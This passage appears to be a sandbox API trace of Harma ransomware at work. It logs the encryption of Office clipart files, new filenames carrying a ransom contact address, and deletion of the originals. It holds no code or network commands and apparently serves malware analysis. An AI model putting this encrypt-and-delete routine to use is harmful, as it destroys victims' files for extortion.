dwFileAttributes=0x20) returned 1 [0141.839] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid")) returned 1 [0141.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0141.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0141.840] lstrlenW (lpString=".doc") returned 4 [0141.840] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0141.840] lstrlenW (lpString=".docx") returned 5 [0141.840] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0141.840] lstrlenW (lpString=".pdf") returned 4 [0141.840] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0141.840] lstrlenW (lpString=".xls") returned 4 [0141.840] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0141.840] lstrlenW (lpString=".xlsx") returned 5 [0141.840] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0141.840] lstrlenW (lpString=".ppt") returned 4 [0141.840] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0141.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0141.840] lstrlenW (lpString=".zip") returned 4 [0141.840] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0141.840] lstrlenW (lpString=".rar") returned 4 [0141.840] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0141.840] lstrlenW (lpString=".bz2") returned 4 [0141.840] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0141.840] lstrlenW (lpString=".7z") returned 3 [0141.840] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0141.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0141.841] lstrlenW (lpString=".dbf") returned 4 [0141.841] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0141.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0141.841] lstrlenW (lpString=".1cd") returned 4 [0141.841] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0141.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0141.841] lstrlenW (lpString=".jpg") returned 4 [0141.841] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0141.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0141.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0141.841] lstrlenW (lpString=".doc") returned 4 [0141.841] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0141.841] lstrlenW (lpString=".docx") returned 5 [0141.841] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0141.841] lstrlenW (lpString=".pdf") returned 4 [0141.841] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0141.841] lstrlenW (lpString=".xls") returned 4 [0141.841] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0141.841] lstrlenW (lpString=".xlsx") returned 5 [0141.841] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0141.841] lstrlenW (lpString=".ppt") returned 4 [0141.841] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0141.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0141.841] lstrlenW (lpString=".zip") returned 4 [0141.841] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0141.841] lstrlenW (lpString=".rar") returned 4 [0141.841] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0141.841] lstrlenW (lpString=".bz2") returned 4 [0141.841] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0141.841] lstrlenW (lpString=".7z") returned 3 [0141.842] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0141.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0141.842] lstrlenW (lpString=".dbf") returned 4 [0141.842] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0141.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0141.842] lstrlenW (lpString=".1cd") returned 4 [0141.842] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0141.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0141.842] lstrlenW (lpString=".jpg") returned 4 [0141.842] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0141.842] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0141.842] lstrlenW (lpString="OUTDR_01.MID") returned 12 [0141.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0141.851] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=6644) returned 1 [0141.851] CloseHandle (hObject=0x354) returned 1 [0141.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid")) returned 0x20 [0141.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0142.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0142.859] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.859] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0143.153] GetLastError () returned 0x0 [0143.153] ReadFile (in: hFile=0x214, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x19f4, lpOverlapped=0x0) returned 1 [0143.190] WriteFile (in: hFile=0x368, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x1a00, lpOverlapped=0x0) returned 1 [0143.191] ReadFile (in: hFile=0x214, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.191] WriteFile (in: hFile=0x368, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.192] SetEndOfFile (hFile=0x368) returned 1 [0143.197] CloseHandle (hObject=0x368) returned 1 [0143.197] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.197] SetEndOfFile (hFile=0x214) returned 1 [0143.200] CloseHandle (hObject=0x214) returned 1 [0143.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0143.214] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid")) returned 1 [0143.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0143.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0143.214] lstrlenW (lpString=".doc") returned 4 [0143.215] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.215] lstrlenW (lpString=".docx") returned 5 [0143.215] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0143.215] lstrlenW (lpString=".pdf") returned 4 [0143.215] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.215] lstrlenW (lpString=".xls") returned 4 [0143.215] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.215] lstrlenW (lpString=".xlsx") returned 5 [0143.215] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0143.215] lstrlenW (lpString=".ppt") returned 4 [0143.215] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0143.215] lstrlenW (lpString=".zip") returned 4 [0143.215] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.215] lstrlenW (lpString=".rar") returned 4 [0143.215] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.215] lstrlenW (lpString=".bz2") returned 4 [0143.215] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.215] lstrlenW (lpString=".7z") returned 3 [0143.215] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0143.215] lstrlenW (lpString=".dbf") returned 4 [0143.215] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0143.215] lstrlenW (lpString=".1cd") returned 4 [0143.215] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0143.215] lstrlenW (lpString=".jpg") returned 4 [0143.215] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0143.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0143.216] lstrlenW (lpString=".doc") returned 4 [0143.216] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.216] lstrlenW (lpString=".docx") returned 5 [0143.216] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0143.216] lstrlenW (lpString=".pdf") returned 4 [0143.216] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.216] lstrlenW (lpString=".xls") returned 4 [0143.216] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.216] lstrlenW (lpString=".xlsx") returned 5 [0143.216] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0143.216] lstrlenW (lpString=".ppt") returned 4 [0143.216] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0143.216] lstrlenW (lpString=".zip") returned 4 [0143.216] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.216] lstrlenW (lpString=".rar") returned 4 [0143.216] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.216] lstrlenW (lpString=".bz2") returned 4 [0143.216] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.216] lstrlenW (lpString=".7z") returned 3 [0143.216] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0143.216] lstrlenW (lpString=".dbf") returned 4 [0143.216] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0143.216] lstrlenW (lpString=".1cd") returned 4 [0143.216] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0143.216] lstrlenW (lpString=".jpg") returned 4 [0143.216] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.217] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0143.217] lstrlenW (lpString="SAFRI_01.MID") returned 12 [0143.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0143.218] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=10122) returned 1 [0143.218] CloseHandle (hObject=0x344) returned 1 [0143.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid")) returned 0x20 [0143.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0143.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0143.218] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.218] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0143.219] GetLastError () returned 0x0 [0143.219] ReadFile (in: hFile=0x344, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x278a, lpOverlapped=0x0) returned 1 [0143.221] WriteFile (in: hFile=0x214, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x2790, lpOverlapped=0x0) returned 1 [0143.222] ReadFile (in: hFile=0x344, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.222] WriteFile (in: hFile=0x214, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.222] SetEndOfFile (hFile=0x214) returned 1 [0143.222] CloseHandle (hObject=0x214) returned 1 [0143.222] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.222] SetEndOfFile (hFile=0x344) returned 1 [0143.224] CloseHandle (hObject=0x344) returned 1 [0143.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0143.225] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid")) returned 1 [0143.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0143.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0143.225] lstrlenW (lpString=".doc") returned 4 [0143.225] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.225] lstrlenW (lpString=".docx") returned 5 [0143.225] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0143.226] lstrlenW (lpString=".pdf") returned 4 [0143.226] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.226] lstrlenW (lpString=".xls") returned 4 [0143.226] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.226] lstrlenW (lpString=".xlsx") returned 5 [0143.226] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0143.226] lstrlenW (lpString=".ppt") returned 4 [0143.226] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0143.226] lstrlenW (lpString=".zip") returned 4 [0143.226] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.226] lstrlenW (lpString=".rar") returned 4 [0143.226] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.226] lstrlenW (lpString=".bz2") returned 4 [0143.226] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.226] lstrlenW (lpString=".7z") returned 3 [0143.226] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0143.226] lstrlenW (lpString=".dbf") returned 4 [0143.226] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0143.226] lstrlenW (lpString=".1cd") returned 4 [0143.226] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0143.226] lstrlenW (lpString=".jpg") returned 4 [0143.226] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0143.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0143.226] lstrlenW (lpString=".doc") returned 4 [0143.226] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.226] lstrlenW (lpString=".docx") returned 5 [0143.227] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0143.227] lstrlenW (lpString=".pdf") returned 4 [0143.227] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.227] lstrlenW (lpString=".xls") returned 4 [0143.227] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.227] lstrlenW (lpString=".xlsx") returned 5 [0143.227] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0143.227] lstrlenW (lpString=".ppt") returned 4 [0143.227] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0143.227] lstrlenW (lpString=".zip") returned 4 [0143.227] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.227] lstrlenW (lpString=".rar") returned 4 [0143.227] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.227] lstrlenW (lpString=".bz2") returned 4 [0143.227] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.227] lstrlenW (lpString=".7z") returned 3 [0143.227] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0143.227] lstrlenW (lpString=".dbf") returned 4 [0143.227] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0143.227] lstrlenW (lpString=".1cd") returned 4 [0143.227] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0143.227] lstrlenW (lpString=".jpg") returned 4 [0143.227] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.227] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0143.228] lstrlenW (lpString="SCHOL_02.MID") returned 12 [0143.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0143.228] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=5058) returned 1 [0143.229] CloseHandle (hObject=0x344) returned 1 [0143.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid")) returned 0x20 [0143.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0143.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0143.229] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.229] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0143.230] GetLastError () returned 0x0 [0143.230] ReadFile (in: hFile=0x344, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x13c2, lpOverlapped=0x0) returned 1 [0143.231] WriteFile (in: hFile=0x214, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x13d0, lpOverlapped=0x0) returned 1 [0143.232] ReadFile (in: hFile=0x344, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.232] WriteFile (in: hFile=0x214, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.232] SetEndOfFile (hFile=0x214) returned 1 [0143.233] CloseHandle (hObject=0x214) returned 1 [0143.233] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.233] SetEndOfFile (hFile=0x344) returned 1 [0143.235] CloseHandle (hObject=0x344) returned 1 [0143.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0143.235] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid")) returned 1 [0143.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0143.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0143.236] lstrlenW (lpString=".doc") returned 4 [0143.236] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.236] lstrlenW (lpString=".docx") returned 5 [0143.236] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0143.236] lstrlenW (lpString=".pdf") returned 4 [0143.236] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.236] lstrlenW (lpString=".xls") returned 4 [0143.236] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.236] lstrlenW (lpString=".xlsx") returned 5 [0143.236] lstrcmpiW 